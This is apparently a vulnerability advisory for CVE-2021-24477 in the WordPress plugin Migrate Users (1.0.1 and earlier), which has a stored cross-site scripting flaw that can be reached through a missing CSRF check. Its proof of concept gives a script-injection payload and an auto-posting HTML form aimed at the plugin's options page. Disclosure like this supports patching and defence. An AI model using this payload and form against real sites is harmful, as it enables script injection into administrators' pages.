Migrate Users <= 1.0.1 – CSRF to Stored Cross-Site Scripting (XSS) | CVE 2021-24477

Description

The plugin does not sanitise or escape its Delimiter option before outputting in a page, leading to a Stored Cross-Site Scripting issue. Furthermore, the plugin does not have CSRF check in place when saving its options, allowing the issue to be exploited via a CSRF attack.

Proof of Concept

Add the following payload in the Delimiter option of the plugin (/wp-admin/tools.php?page=migrate_users&action=options): "><script>alert(/XSS/)</script>

Via a CSRF attack:

<html>
  <body>
    <form action="https://example.com/wp-admin/tools.php?page=migrate_users&action=options" method="POST">
      <input type="hidden" name="options[delimiter]" value=',"><script>alert(/XSS/)</script>' />
      <input type="hidden" name="options[limit]" value="10" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>